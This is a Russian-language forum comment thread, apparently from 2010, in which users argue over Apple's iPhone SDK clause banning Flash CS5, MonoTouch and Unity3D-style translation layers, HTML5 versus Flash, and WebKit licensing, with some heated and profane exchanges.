> по соотношению цена/качество. А вдруг он нашу продукцию не купит?! Не допустим!

Повторюсь еще раз, бизнес-модель эппла состоит в продаже программно-аппаратного комплекса некоторому среднестатистическому конечному пользователю. Разработчики, отчасти, попадают в эту категорию, но подавляющее большинство потенциальных покупателей — не разработчики.
Сильная сторона эппла — понимание того, что пользователю надо и завоевание заметной армии почитателей за счет действительно грамотно реализованных железной и программной частей. Слабая — небоходимость постоянного донесения до потенциальных покупателей информации о преимуществах своей продукции. Что в итоге вырождается в холивары и топики, подобные этому.
Вот, на мой взгляд, на пересечении сильных и слабых сторон и строится текущая стратегия «полузакрытости» платформы.

Расскажу про dark side.
У меня есть личный опыт общения с крупными корпорациями (интел, нвидия, и т.п.) как раз в сфере ПО для мобильных платформ. Эти компании, в отличие от эппла, продают свою продукцию не конечным пользователям, а таким же как они крупным корпорациям, а ПО для них является средством продвижения своих решений на корпоративном рынке. Не могу рассказывать детали, но эти компании часто оплачивают написание ПО только для того, что бы создать себе конкуретное преимущество при заключении контрактов.

И вот здесь мы наблюдаем интересную вещь — те компании, которые больше всего кричат об открытости, свободе выбора, как правило, на самом деле больше всего «имеют» разработчиков, так как банально проталкивают свои решения за счет энтузиазма разведенных кроликов. Я не перестаю удивляться иррациональной вере в святость принципов открытости в тех областях, где этот подход явно не работает и никогда не заработает. А спроси у такого почитателя андройда «чем тебе айфон не угодил?» и опять в ответ услышишь мантру о закрытости и отсутствии альтернативы, хотя на вопрос «ну и что тебе с этого?» он никогда не даст вразумительного ответа, так как для него это предмет веры, а не проверяемости и обоснованности.

Нет, я конечно не хочу сказать, что нас окружают темные силы, я вообще не сторонник теории заговоров. Но возьмите, например, майкрософт — чем занимается эта корпорация в плане мобильных платформ? А тем, что продает свой софт таким же крупным корпорациям как она сама и на этом строится весь ее бизнес. Впрочем, как и на десктопах, но это вообще тема для отдельного эссе, написать которое мне крама не позволяет :-)

Поэтому, что майкрософт, что гугл с андройдом вынуждены, повторю, _вынуждены_ создавать режим максимального благоприятствования для разработчиков, так как это краеугольный камень их бизнеса. Что, в свою очередь, очень сильно отличает их и от эппла и от нокии, у которых покупатели — конечные пользователи, поэтому все силы брошены на удовлетворение их потребностей, а не на капризы разработчиков.

В общем, как говорил Козьма Прутков — «зри в корень», может и холиваров будет поменьше, да и мантры-заклинания про открытость и свободу выбора будут повторяться тише и реже.

Аминь.
EntropiouS
>А спроси у такого почитателя андройда «чем тебе айфон не угодил?» и опять в ответ услышишь мантру о закрытости и отсутствии альтернативы, хотя на вопрос «ну и что тебе с этого?»

А я скажу. Это как сравнение с вилкой в фильме «О чем говорят мужчины». Может ты не и воспользуешься возможностью, но ты знаешь что она у тебя есть, и от этого на душе спокойно.
kirnik
насчет плюсов, загнул :)
Kiriyama
А почему вы считаете, что автор так считает? Вы правы и автор прав, (вы:) Эппл делает плохо разработчикам, потому что (автор:) хочет сделать хорошо себе.
mono2k
О, так вы догадались? что это теперь низя делать будет?
MaEcTPo
Вообще-то это был ответ на
> Мне не нужны ненативные приложения на айфоне
SAKrisT
Пробовал запускать That Roach Game — приложение, полученное такими средствами (proof link: labs.adobe.com/technologies/flashcs5/appsfor_iphone/)

На моем 3g притормаживает и это раздражает… До этого запускал подобные игрушки, но они похоже написаны на obj с, проблем не наблюдал.

P.S. вроде в комментариях в app store пишут, что на 3gs нормально, но такой возможности проверить нет.

ruguevara
скорее всего средтства разработки тут не при чем
писали криво, вот и тормозит
Untit1ed
Возможно. Стоит еще отметить, что сабмитилось приложение в сентября. За это время cs5 могли доработать.
VlK
> Мне не нужны ненативные приложения на айфоне

Э… ну так не пользуйтесь, если не нужны. Или вы хотите к этому еще и заставить всех думать как вы?
Untit1ed
Теоретически? НИЧЕГО. А практически? А практически это нафиг никому не нужно да и в gcc runtime для obj-c другой.
mish
Как это ненужно? в статье утверждалось что писать программы сразу под все платформы — мечта разработчика.
i4niac
Вы что-то явно путаете. Мечта разработчика, чтобы программы работали под всеми платформами. Почуствуйте разницу.
mish
API-то все равно разные скорее всего
arkady
на маемо вообще на чем угодно можно писать, главное чтоб либы были. и флэш там по дефолту есть
lexa0
да, аргументация просто таки чугунная.
Gorthauer87
Возражение — тоже :-)
lexa0
посмотрю на ваши комментарии когда из AppStore вылетят все приложения Unity3d и MonoTouch… Так развитых альтернатив как Unity3d нет и точка.

>Как вы ни ругайте Apple что она гонится за прибылью, ЭТО НЕ ТАК! Apple делает КАЧЕСТВО и за него люди платят сами и с удовольствием, меня и других ни кто не принуждал.

Вот не надо быть тупым фанатом. Apple гонится за прибылью не меньше других, и используют качество и юзабилити как свои козыри в этой погони.

>спомните как он грозился своим GoogleTalk задавить аську, скайп и прочие пейджеры. И что? проект непопулярен.

ICQ-фаг? Gtalk весьма популярный XMPP сервис. Они просто отказались от standalone клиента в пользу вэбклиента интегрированного в интерфейс GMAIL.

Я против флэша в любых его формах, особенно на айфоне, мне даже сервелат больше симпатизирует, но MonoTouch с Unity3d то зачем было выкидывать?
Cancel
Apple гонится за прибылью не меньше других, и используют качество и юзабилити как свои козыри в этой погони.
Вы всем раскрыли глаза. Оказывается они не просто делают качественно и юзабельно, а используют это для прибыли. Вот негодяи, да.
fleshy
ну есть некоторый фанатики которые считают, что эппл все для народа делает, все чтобы нам было удобнее и приятнее забывая про свои карманы. Я одобрял политику эппла во всем до выхода 4.0.
j3d1
Вас оставили без многозадачности? Так это просто бизнес.
golobokov
На это мне плевать. Без нее обходился и обойдусь до выхода ного айфона. Мне ToU нового SDK вывели из себя.
1inuxoid
Unity3D приложения скорее всего не выкинут, так как он производит проекты Xcode c Objective-C сорцами. Хотя, как знать, новую policy тоже мало кто ожидал.
smmurf
там как бы такая странсляция тоже запрещена (если я правильно понимаю вот эту строчку: «Applications that link to Documented APIs through an intermediary translation or compatibility layer or tool are prohibited»).
andoriyu
Ну тогда я их ещё больше не понимаю, тут уж они сами себе враги, выходит.
homm
Дело в том, что судя по пресс релизу unity3d будет возволят деплоить приложение с минимальными изменениями на кучу платформ, такие как ps3,psp, andorid, iphone, wii, mac, win. А это означает, что не будет того эксклюзива который был во время запуска AppStore. На андроид есть такие игры как tap tap revenge, nova,, и много других игр которые чуть ли не держат меня на этой платформе?
andoriyu
не вводите людей в заблуждение. Unity3D разрешен. Их глава уже успел об этом написать.
DorBer
Последняя запись в их блоге говорит о том, что они сами понятия не имеют:
>Here at Unity, we are working hard on getting good information, and working to understand whether – or how – the new changes could affect the developer community and others. We have reached out to both official and unofficial contacts at Apple, we are talking to other companies in a similar situation to us, and we’ve been diligent in reading the ToS to get to the best legal (and business-wise) analysis of it.

так, что если уж пишите такие комментарии добавляйте пруфлинк, а то еще больше вводите в заблуждение. И да пруф как вы понимаете это не запись в чем-то бложике или форуме.
andoriyu
blogs.unity3d.com/2010/04/10/unity-and-the-iphone-os-4-0/

Вот запись в блоге Unity 3D от 10 апреля. Здесь что они пишут, что не могут заявить о поддержке Unity 3D, несмотря на общение с Apple. Обещают что будут делать все от них зависящее.
Untit1ed
а как они узнают? Unity3D делает ObjC сорцы, использующие документированные API. все ок.
andoriyu
blogs.unity3d.com/2010/04/10/unity-and-the-iphone-os-4-0/
Untit1ed
Изучаю Ogre3d, там также присутствует возможность компиляции для iphone. Не уверен, правда, насколько это там сделано здраво, но в целом движок первое впечатление производит очень хорошее.
andoriyu
Orge3d это мой план b. но десктопверсию буду дальше на unity3d делать.
noma4i
> я могу видеть что только Apple делает качественные продукты для людей
Это не является страховкой от неправильных шагов в дальнейшем.

> он грозился своим GoogleTalk задавить аську, скайп и прочие пейджеры И что? проект непопулярен
Че, правда? Многие выбирают джаббер от гугла, просто потому что он даже из браузера доступен. В России, может, и нет, но в других странах — вполне достойно.

> Все пейджеры которые есть не корректно понимают кирилицу от некоторых программ, например от адиума или квипа
MeemboIM — отлично принимает от всех, за полгода ни разу не было проблем. Алсо, это не от квипа принимаются некорректные сообщения, а он посылает не в универсальной кодировке UTF-8, которая даже в спецификации у AOL прописана, а в вендоподобной CP1251.

> первый гвоздь в крышку гроба андроида забили EA games когда сказали что заканчивают поддерживать платформу, не успев начать
Можно пруф?
andoriyu
Если уж на то пошло, в других странах аськой вообще почти не пользуются. Незащищенный протокол, отсутствие юникода и прочее. Там больше Msn, AIM, Jabber/GTalk. И то MSN поднял джаббер сервера и теперь пользователи джаберов и пользователи мсн'а могут общаться друг с другом. А аська живет сейчас только за счет СНГ, по-моему.
lsdima
Только хотел написать, что Google скорее всего имеет смутное представление о каком-то загибающемся мессенджере популярном в третьих странах.
lol2Fast4U
Судя по тому, что какое-то время назад (год?) можно было подключать AOL (ICQ в т. ч.) пейджер в Gmail, то очень даже имеет представление ;)
andoriyu
Вы о транспорте в GTalk?
Причём тут Гугл.
mordet
Насколько я помню, этот транспорт к Gmail прикрутила Google.
andoriyu
Дефакто это обеспечивает джаббер — протокол.
Оффтоп офф =)
vooft
Я о Gtalk агенте в Gmail.
Marklee
IM+ попробуйте. Тоже долго выбирал клиент для аськи и джаббера, остановился на нем, пока проблем с кириллицей не было.
Darkened
У него проблема в другом. Он не может два jid'a. :( Я его даже купил…
leshaogonkov
для Айфона есть как минимум три пейджера которые понимают кририлицу в любой кодировке. сам пользуюсь BeejiveIM.
1. IM+
2. BeejiveIM
3. SimpleIM
Darkened
Опыт вашего друга на android совершенно не показателен! Более 30000 приложений на любой случай жизни — это мало?? Android — самая быстро растущая мобильная платформа. От борьбы между производителями выигрываем мы — пользователи. Я, как и автор статьи, выбрал HTC Hero и нахожусь от него в полном восторге! :)
leshaogonkov
На конец 2009 года их было 20к. Неужели за 3 месяца цифра еще на 10к подскочила? В любом случае, до 185к в АппСторе еще далеко. :(
Darkened
>На конец 2009 года их было 20к. Неужели за 3 месяца цифра еще на 10к подскочила?

Я Вам больше скажу: там уже 40К :)

Новость от 7 апреля: «Количество программ для Android превысило 40 тысяч» (источник)
leshaogonkov
Вот мне, например, с кредитками, выпущенными в Корее и России недоступны многие (подавляющее число) из этих 185 тысяч…
Так что если не воровать и не жить в США, то разница не столь значительна.
lol2Fast4U
Эталонный анальный раб.
kirnik
Вообще то в долине и вокруг нее среди топов не мудаков нет.

В принципе они сами (топы) это и не особо отрицают между собой.
Но общепризнанным лидером по мудачеству там однозначно считается далеко не Билли, а Джобс.

Так, из междусобойчиков из долины
ivan-ghandhi.livejournal.com/1258198.html?thread=11435478#t11435478
rengel_system
iPhone OS появился задолго до адекватно-стабильного релиза Android, при этом разработчики мобильных платформ уже мигрируют туда. Ждите год — там посмотрим у кого больше :)

А про GTalk — жутко понравилось. У нас в компании это практически корпоративный стандарт связи. И я уверен не у нас одних.
А вот ICQ в свою очередь — загибается семимильными шагами.
golobokov
у нас джаббер используют. причем стал его пропогандировать фанат Apple :)
aiperon
Да ладно, дружищ, но лоханули тебя, ну купил ты себе айфон.
Ну чего переживать так, и доказывать что ты не верблюд? =)
Marklee
епт, что это было?
Mezomish
Вы статью-то хоть осилили? Или увидели слово flash и с ходу начали рвать бояны про HTML5? =)
«И взбудоражил Apple не только новый компилятор Flash, но и появление MonoTouch, и прочих подобных инструментов, которые уже начали расти, как грибы после дождя.»
theschmidts
Ознакомился, для запуска приложений нужно:
Actionscript — Actionscript Virtual Machine
C# (MonoTouch) — Mono runtime
Java — тут всё понятно.

Из этого списка реально работающего — только MonoTouch. Описание отсюда:

What MonoTouch does is to use an IL linker to combine just the parts of the class libraries that your code uses into a single IL binary. It then uses AOT compilation to pre-generate all the native code that the JIT would normally generate from the IL, then links this together with the JIT-less runtime into a single native binary that can be signed. Finally, the IL is stripped from the managed binary. leaving only metadata.

m52
Тем не менее, рантайм для запуска приложений нужен или нет? Да, у Mono на выходе получается нативный код, а не IL, но для работы вашего приложения нужен рантайм, в котором будет дофига того, что не используется самим приложением и что может усложнить жизнь цензорам аппстора
eugyn
Какой-то overhead конечно будет — GC, например, вроде бы там есть, но скорее всего реализован поверх нативного reference counting. Сомневаюсь, что там в фоне крутится что-то многопоточное и ресурсоемкое — нет нужды, objective-c довольно гибкий язык в плане динамического выполнения кода. А вот собственная реализация велосипедов при портировании может доставить куда больше проблем в плане ресурсоемкости приложения.
Nuke
с рантаймами ваш собеседник, конечно, загнул, но… Webkit ли не тот же ли самый рантайм? Для javascript?
HDg
Да, Webkit — рантайм, но он уже встроен в телефон и за его работу отвечает сама Apple. По сути, если вы делаете приложение на HTML5, то цензорам не нужно сильно в него всматриваться, так как у вас технически нет возможности обратиться к приватным API.
Darkened
Посмотреть, какие функции вызывает приложение, технически очень просто и всматриваться никуда не нужно. Что до runtime — это ведь просто динамически подгружаемая библиотека и для экономии памяти как раз лучше бы иметь побольше таких библиотек, используемых сразу несколькими приложениями, чем в каждом изобретать свой велосипед или встраивать библиотеки статически.
modernstyle
Основной посыл статьи: всё происходящее в Apple — естественная реакция компании, стремящейся захватить рынок, и не допустить на него конкурентов. Microsoft и прочие делают то же самое. Не надо придумывать обиды Apple на Adobe, и прислушиваться к их склокам. Это лишь отголоски куда более глубокого процесса.

Для Apple жизненно важно стать платформой №1 по числу уникального софта, даже ценой потери части прибыли с AppStore от недопущения туда многих написанных под другие платформы приложений. Потому что сиюминутные потери части прибыли с лихвой компенсируются длительностью доминирования на рынке, которое они и пытаются получить своей нынешней стратегией.
chikuyonok
Flash CS5 будет компилять нативные приложения с дополнительным фреймворком внутри. Тоже нативным.

А под вебкит я сейчас пишу игры под iPhone — не смешите про хорошо оптимизированный, оок?
EntropiouS
Flash CS5 будет компилять нативные приложения с дополнительным фреймворком внутри. Тоже нативным.


Но как итог: ваше приложение, написанное на флэше, будет работать напрямую с телефоном, или через рантайм (читай, флэш-плеер)?

А под вебкит я сейчас пишу игры под iPhone — не смешите про хорошо оптимизированный, оок

То есть вы исключаете ситуацию, что делаете что-то не так? Могу с вами поспорить о деталях реализации некоторых задач, но это лучше в отдельной ветке делать. Я тоже сначала не умел делать приложения под мобильниый вебкит.
chikuyonok
Adobe обещает нативный код на выходе без рантайма.

Насчёт вебкита было бы интересно пообщаться, я только начал. Уже вижу определённые пути оптимизации, но пока надо выпустить продукты и времени заниматься её пока нет. Но если вы уделите мне немного времени и расскажете что да как лучше сделать, то буду премного благодарен.
EntropiouS
Писать программы на HTML5? noway
homm
О госпади. Ну давайте вы напишите на HTML5 какое-нибудь приложение, а мы посмотрим. А потом сравним его скорость работы с флешом, которого Джобс ругает за тормоза. А потом попробуем запустить на разных браузерах. А ещё я хотел бы посмотреть, как вы будете рисовать векторную анимацию на голом canvas, не имея нормальных редакторов. И отлаживать код при помощи какого-нибудь фаербага.
Я понимаю революционный настрой некоторых людей, флеш действительно нужно заменить чем-то более качественным и открытым, но это что-то сначала надо сделать. Пока по ряду параметров (кроссплатформенность, простота разработки и тп) флеш вне конкуренции. А то что сделал Эппл — это просто гнусное замыкание разработчиков на себе, то, что делал Микрософт в 90х и за что его все возненавидили.
chikuyonok
хоть бы ознакомились с HTML5… canvas это растр, svg это вектор. сейчас появится куча фрэимворков для SVG/Canvas анимации.

> Пока по ряду параметров (кроссплатформенность, простота разработки и тп) флеш вне конкуренции.
С каких пор работа (не запуск, а работа) под разными версиями виндоуса стала называться кроссплатформой?

EntropiouS
шутки ради — ishtml5readyyet.com/
chikuyonok
www.tricorns.com/html5-demo.html по вашей ссылке :D флэш бы наверное уже повесил мой бук. Вся беда HTML5 что под него нет его толковых фреимворков, на ум только SproutCore(на нем MobileMe сделан) приходит… но там по-моему нет ничего для работы с анимацией это фреимворк для RIA…

p.s.
может кто-то не знает о такой великой штуке как ape push engine? :D
EntropiouS
— Who Said HTML5 not ready yet?
— Internet Explorer and W3C say so.

Не заставляйте меня уж сравнивать статистику по макам (где худо-бедно но флеш работает) со статистикой по IE (который html5 ну никак), да вы и сами понимаете, что данным примером html5 не ограничивается.

VlK
чем раньше мир забьет на IE тем быстрее HTML5 захватит его.

>(где худо-бедно но флеш работает)
у меня флэш совсем отключен. Лучше без него, чем тупо смотреть на нависший сафари.
> да вы и сами понимаете, что данным примером html5 не ограничивается.
понимаю, это скорее PoC. Однако я уже много примеров видел доказывающих, что flash — не нужен.

p.s.
вот теперь я понимаю значение этих слов: the first 30 years were just the beginning.
chikuyonok
Вы видели как это убожество рабоатет под линуксом и маком? под маком оно было написано с использованием устаревшего фреимворка(сейчас вроде бы переписали), один только баннер сверху хабра грузит проц.
MikhailEdoshin
видел, каждый божий день наслаждаюсь. Но плохое наличие лучше доброго отсутствия.

Вот эппл-то фиг кому хорошее наличие устроит. Впрочем, webkit изначально gpl, тут они прикрыть и привязать к себе не смогут, ко всеобщей радости и благоденствию.
Kiriyama
webkit, слава богу, не gpl, а lgpl+bsd
chikuyonok
ахинея ли…

я понимаю, что вам, как — вероятно — разработчику коммерческого предприятия, хочется, чтобы любой свободный продукт в экосистеме можно было взять, подкорректировать, и зарелизить как душе угодно.

Однако, это общественный стек, и от вас нихрена не будет толку ни обществу в целом, ни сообществу в частности.

Собственно, взять тот же мак и самбу. Самба под gpl. Apple в нее здорово вложилась — в результате поимели все. Аналогично — CUPS.

А что с того, что Safari базируется на Webkit? Где исходники? Движок? Там они могут прикрутить расширения вне базового кода. А не начнется однажды обычное для корпораций введение специфичных фишек, когда понадобится привинчивать разработчиков?
Aux
Браузер, а не webkit. Кстати, webkit не полностью bsd, а все же частично прикрыт gpl. Он изначально пошел от khtml, неловко было бы прикрывать. А вот браузер — тот уже под совсем другой лицензией, там много чего закрыто напрочь.

так и хрен с вами, пишите себе на здоровье закрытые вещи с нуля. Нам-то что? А я напишу инструмент с 80% готовности.

Да и… Ахинея-то работает, растет и кушать не просит. Вон, в ядре линукса уже 6 млн строк ахинеи.

А неахинею прут все, кому не лень. Мне даже перечислять лень…
chikuyonok
Ахинея работает, растет и завоевывает мозг сторонников ахинеи. Со стороны прекрасно видно, как она «работает».
А что вам лично с того, что в браузере что-то закрыто напрочь? Лишь бы общепринятые стандарты реализовывал как следует, а сверх того — кому какое дело?
Aux
вы как маленький или на самом деле просто маленький?

Вот очень видно, что вы со стороны судите. Как будто и не кодили никогда для веба. или не кодили? не верстали?

Вспомните историю IE, куда пошли те стандарты, и как развивался JS. Когда есть доминирующий закрытый продукт, производителю не выгодно поддерживать открытые стандарты, воспроизводимые конкурентами. И точка. Это политика, тут нет хороших, открытых, закрытых и плохих.
Gol
Я не понимаю, как доминирующий закрытый продукт, реализующий что-то _сверх_ открытого стандарта, при этом полноценно реализующий этот самый открытый стандарт, может повредить ситуации на рынке.
Речь сейчас не идет о том, чтобы отказаться от поддержки стандарта, а о том, чтобы реализовать что-то, выходящее за его пределы.
wersoo
А вы не знаете, что с IE так и было? И это стало разве только не катастрофой?

Был стандарт. И была МС с доминирующим продуктом. И стали потихонечку объявляться в IE фишки, которых не было и не могло быть у альтернатив. В итоге чудом не подохли вообще все альтернативные браузеры. И до сих пор масса всякого говна понаписано на ActiveX и другой несовместимой со свободным рынком муре.

А еще есть история про реализацию Java в исполнении MS.

И подите докажите, что Apple — совсем другой зверь! У них все то же самое, только со своими ObjectiveC, Cocoa и всеми прочими радостями крупнопоместной жизни.
nochnoy
вы как маленький или на самом деле просто маленький?

Вот очень видно, что вы со стороны судите. Как будто и не кодили никогда для веба. или не кодили? не верстали?

Вспомните историю IE, куда пошли те стандарты, и как развивался JS. Когда есть доминирующий закрытый продукт, производителю не выгодно поддерживать открытые стандарты, воспроизводимые конкурентами. И точка. Это политика, тут нет хороших, открытых, закрытых и плохих.
andoriyu
тред не читай
@
сразу отвечай

GPL говно ограничивающее свободу. MIT, BSD истинная свобода.

>А что с того, что Safari базируется на Webkit? Где исходники? Движок?
Я вас удивлю: webkit > google: webkit.org/.

Untit1ed
так это еще полбраузера только, вы бы вчитались, что ли, в историю webkit…

Все, что можно было закрыть — закрыли. Движок основывался на khtml, и его закрыть было низя. тчк.

Впрочем, чего это я такого знатного тролля-то кормлю…
andoriyu
оо слава бежит вперед меня это хорошо, жалко только не так. Когда уже такие как вы научатся определять тролля не по карме и отличному мнению7

>Все, что можно было закрыть — закрыли. Движок основывался на khtml, и его закрыть было низя. тчк.
О чем вы? я пользуюсь ночными сборками WebKit'a это тот же сафари, и обычно он быстрее чем сам сафари, так как apple очень редко синькает сафари и вэбкит.

Впрочем чего это я с адептом Столмана говорю… у него же GNU головного мозга.
p.s.
ПНХ из моего треда.
Untit1ed
вот не могу не улыбнуться :) Ваш коммент в цитатах:

1) «я не тролль»

2) «вы не правы»

3) "… у вас клиническое заболевание"

Тролль я, ясен перец :-D

Тем не менее, webkit и safari — не синонимы, и базируется первый на khtml.
andoriyu
>Тролль я, ясен перец :-D
я помоему сказал куда вам идти из моего треда? Еще прочитай, что означает цитата… Судя по всему для вас тролль это человек который с вами не согласен и указывает на ваши недостатки? мне вас жаль…

>Тем не менее, webkit и safari — не синонимы, и базируется первый на khtml.
эмм, с тех пор webkit от khtml ушел уже давно. Вы прочитали википедии и теперь хотите рассказать об этом всем? Safari относится к Webkit'y так же как Chrome к Chromium(которые время от времени мержит часть кода с webkit'ом).
VlK
и вообще. Нет никакого «истинно свободно» и «неистинно свободно». У америкосов вон сколько свободы по миру бомбами рассыпается…

Есть одна лицензия, которая обещает, что мой труд и его производные останутся доступным мне и другим разработчикам.

Есть другая лицензия, которая нихрена не обещает, только неуверенно так просит не бить меня, если что не так.

Чего выбирать?
andoriyu
Да и под виндой тоже грузит. А если открыть пару десяток вкладок, то ваще ховайся — на ноуте вентилятор надрывается. Потому и установил AdBlock.
VlK
честно.
да, переизбыток флеша сильно подгружает.
но.
я пользуюсь лисой, а не сафари.
у меня всегда ооочень много вкладок.
почти везде есть флеш.
и все нормально.
может все-таки проблема в сафари?

ЗЫ
а вот пример с канвасом выше загрузил ЦП ппц как
thevery
вы врете :) FF самый требовательный к ресурсам браузер из современных. Не так давно я проверял все браузеры на совместимость со мной — все так же падали от флеша и тупили от одного банера на хабре. особенно тупил FF, но FF тупил даже на JS. Опера больше 20 вкладок не держала.

>а вот пример с канвасом выше загрузил ЦП ппц как

В хроме и сафари, а также в ночном билде вебкита я не заметил нагрузки. Может проблема в FF? :)

p.s.
в FF все еще трассирующий JS движек?
VlK
у меня сложнее получилось.

Факт первый: firefox под Линукс тормозит со флешем, но работает. Факт второй: chromium работает быстро, но глючит и иногда даже умирает на флеше.

Не совсем понятно, как так получается при их мультипроцессной архитектуре, но при всех моих симпатиях, Хром пришлось убрать.
smmurf
ну, тогда выражусь иначе.
да, ФФ сама по себе уже подгружает в некоторой степени ЦП (чего уж там, довольно прилично), но наличие флеша в ней картину не особо меняет.

>В хроме и сафари, а также в ночном билде вебкита я не заметил нагрузки. Может проблема в FF? :)
да, проблема в ФФ, я и не думал утверждать обратное)
вообще, яваскриптовый движок лисы все больше огорчает, на фоне других. про сафари на маке я вообще молчу. это просто совершенство в плане работы ЖС. на его фоне все браузеры сосут.

зы
ага. кричали они, что он быстрее V8, но как-то это ниразу не заметно.
хотя может просто стоит подчистить лису, хз…
VlK
>да, ФФ сама по себе уже подгружает в некоторой степени ЦП (чего уж там, довольно прилично), но наличие флеша в ней картину не особо меняет.
:)

>про сафари на маке я вообще молчу. это просто совершенство в плане работы ЖС. на его фоне все браузеры сосут.
Есть еще один движек JS. надсройка над стандартным, жутко не стабильный но уделывает всех :D

>ага. кричали они, что он быстрее V8, но как-то это ниразу не заметно.
хотя может просто стоит подчистить лису, хз…
Я пользовалься FF, до тех пор пока не уперся в лимит памяти. Со временем мои задачи становились все сложнее и сожнее, надо был больше и больше приложений в памяти держать и терпеть затраты на FF стало не позволительно.
smmurf
Не поверите, но написал, сейчас на рассмотрении в аппсторе. В двух словах — это читалка электронных книг. Движок читалки написан на Javascript и уже используется на сайте. К слову, первый вариант движка был очень медленным, но за три месяца интенсивного изучения мобильного Webkit я научился с ним работать и скорость повысилась примерно раз в 10 и стала сравнима с другими читалками на ObjC.

А флэш… Ну давайте проведём эксперимент. Сделайте флэшку, на которой ничего нет и которая абсолютно ничего не делает. Поставьте 5 раз эту флэшку на HTML-странице и откройте эту страницу в каком-нибудь браузере на Маке. Вы будете удивлены, сколько процессорного времени будет съедать флэш за ничегонеделание.

К слову, в HTML5 на мобильном сафари есть аппаратное ускорение.

А ещё я хотел бы посмотреть, как вы будете рисовать векторную анимацию на голом canvas, не имея нормальных редакторов.

С этим проблемы, согласен. Но это проблемы не технологии, а отсутствия инструментов.

И отлаживать код при помощи какого-нибудь фаербага.

Код замечательно отлаживается в Web Inspector десктопного Webkit + в XCode есть куча всяких инструментов за мониторингом производительности и расходом памяти, можно проверять напрямую с аппарата
VlK
Нееет. Читалка книг не считается. Напишите нормальное большое приложение с кучей ресурсов, подгрузок, большой структурой классов. Счастливую ферму например. Хотя, наверное, напишите. Я видел большой онлайновый мир, написанный под dhtml, под IE4. Он работал, но главный программист замучился и уволился и они искали флешеров чтобы переписать )
smmurf
О, dhtml, под IE4 замучились поддерживать. Наверное, если бы они начала писать на существовавшем тогда flash 3, у них бы все получилось.
VlK
Сейчас всё проще и лучше, но iPhone не потянет. Хотя вот Acer Liquid канвасовые игры тянет.
smmurf
По-вашему загрузить 1МБ+ HTML-кода и эффективно поделить его по страницам с учётом разных стилей — это тривиальная задача на айфоне? :)
VlK
Ну если ЭТО нетривиальная задача то помоги нам Бог в программировании чего-то более серьёзного на этом самом html5 ))
VlK
Сергей, при всем моем уважении, но вы напишете 3Д-игрушку на хтмл5?
когда речь идет о простых апп-ах, то да, хтмл-цсс-жабаскрипт и вперед, я сам согласен (кстати, все никак руки не доходят попробовать написать апп для яфона, но то такое).

Но игры?

Да, частично что-то очень простое можно компенсировать канвасом (который делать только руками кстати), но извините, в плане удобства работы с графикой и анимацией, флешу нету равных.

а то, что флеш тупит на маке — вина не только адоба, но и эппла, которые не хотят идти на встречу адобу.

в флеше под виндой есть аппаратное ускорение, под маком — нету, потому что они не могут к нему простучаться через ось. а эппл не дает апи для этого.
два барана на узком мостике.
andoriyu
Сергей, при всем моем уважении, но вы напишете 3Д-игрушку на хтмл5?

Нет, не напишу. Но и не надо в крайности впадать: аппстор далеко не из одних 3D-игр состоит. Большая часть аппстора — это простые программки, которые легко сделать и на HTML5. А всякие крутые 3D-игры слишком расточительно делать через посредников вроде флэша, потому что ресурсы на айфоне ну очень ограничены.
в флеше под виндой есть аппаратное ускорение, под маком — нету

Зато на Маке есть аппаратное ускорение CSS3 :) Но в целом я не понимаю, в чём сложность. Есть куча программ, которые используют аппаратное ускорение на Маке (через Quartz Extreme и OpenGL), в чём сложность сделать это не флэше — не знаю. Соглашусь, что есть некоторые тёрки с аппаратным ускорением H.264, но я выше привёл пример, когда ничего не делающие флэшки грузят процессор — это тоже проблемы с запретами Apple?
VlK
не, ну конечно аппстор не из одних игрушек, но новый лайсенс бОльшую часть нынешних игрушек убивает. я думаю это неправильно.
да, флеш довольно тяжелая прослойка, но какие-то развлекушки а-ля арканоид или простая аркада двухмерная — на флеше делается за милую душу. это идеальный инструмент для этого.
я сам не фанат флеша, но у него есть свои плюсы и сильные стороны, есть области, в которых его применение очень оправдано. и лишать этого разработчиков и пользователей — скотство.
к тому же, новый лайсенс гробит и игры на юнити3Д. и на чем делать 3Д-игры, да и вообще, приложения, в которых активно используется 3Д? на голых сях? это же бред.
на счет аппаратки флеша под маком — я уже точно не помню, что там и как, но помню что есть какие-то трудности с доступами к железу и не только.
согласитесь, ведь Адоб не враги себе, и если бы можно было — сделали бы флеш под мак ось быстрым и стабильным. Там ведь не быдлокодеры какие-нибудь работают. Следственно, если этого не делают — есть какие-то ограничения платформы.
andoriyu
А я напишу 3d игрушку на html5. ибо туда входит WebGL.

>и на чем делать 3Д-игры, да и вообще, приложения, в которых активно используется 3Д? на голых сях? это же бред.

Есть полно других движко, unity3d просто самый продвинутый и удобный.

>на счет аппаратки флеша под маком — я уже точно не помню, что там и как, но помню что есть какие-то трудности с доступами к железу и не только.

ОМГ. может хватит уже хавать то, что дают adobe? Доступа к апаратному ускорения нет в устаревшем фреимворке Carbon. В Cocoa есть все то, что им надо. MacOSX поддерживает OpenCL, так есть как миниум 2 маковский фрэимворка для работы с видеокартой.

> ведь Адоб не враги себе, и если бы можно было — сделали бы флеш под мак ось быстрым и стабильным
Извините меня, но Adobe забивали хуй на пользователей Mac OS X. А сейчас они поняли, что упускают не хилый кусок рынка(iPhone).
VlK
>А я напишу 3d игрушку на html5. ибо туда входит WebGL.
удачи)

>Есть полно других движко, unity3d просто самый продвинутый и удобный.
вы вообще читали лайсенс?
там нельзя ВООБЩЕ никаких движков. хоть юнити3Д, хоть хуюнити4Д

на счет карбона. кокоа тут ничего сказать не могу.
но опять же.
забивали? простите, но вся продукция адоба нативно маковская, и только потом виндовая.
и весь адоб поголовно на маках сидит.
флеш — исключение?
не верю.
andoriyu
>вы вообще читали лайсенс?
там нельзя ВООБЩЕ никаких движков. хоть юнити3Д, хоть хуюнити4Д

Читал, а вы похоже не читали. Есть движки на c/c++/obj-c которые проходят в appstore. Где там запрещено использовать движки? У вас извиняюсь мозг вообще присутствует? если запретить все движки то вылетят все игры…

>забивали? простите, но вся продукция адоба нативно маковская, и только потом виндовая.
и весь адоб поголовно на маках сидит.
флеш — исключение?

ну так мы тут про флеш говорим? впрочем фотошоп тоже не ахти с илюстратом, пересел на другие редакторы.
VlK
оговорился.
не движки, а прослойки.
3.3.1 — Applications may only use Documented APIs in the manner prescribed by Apple and must not use or call any private APIs. Applications must be originally written in Objective-C, C, C++, or Javascript as executed by the iPhone OS WebKit engine, and only code written in C, C++, and Objective-C may compile and directly link against the Documented APIs (e.g., Applications that link to Documented APIs through an intermediary translation or compatibility layer or tool are prohibited).

т.е. нельзя стучаться к API того же юнити, либо чего еще. Можно только напрямую обращаться к API яфона (обращаем внимание на текст в скобках в конце).
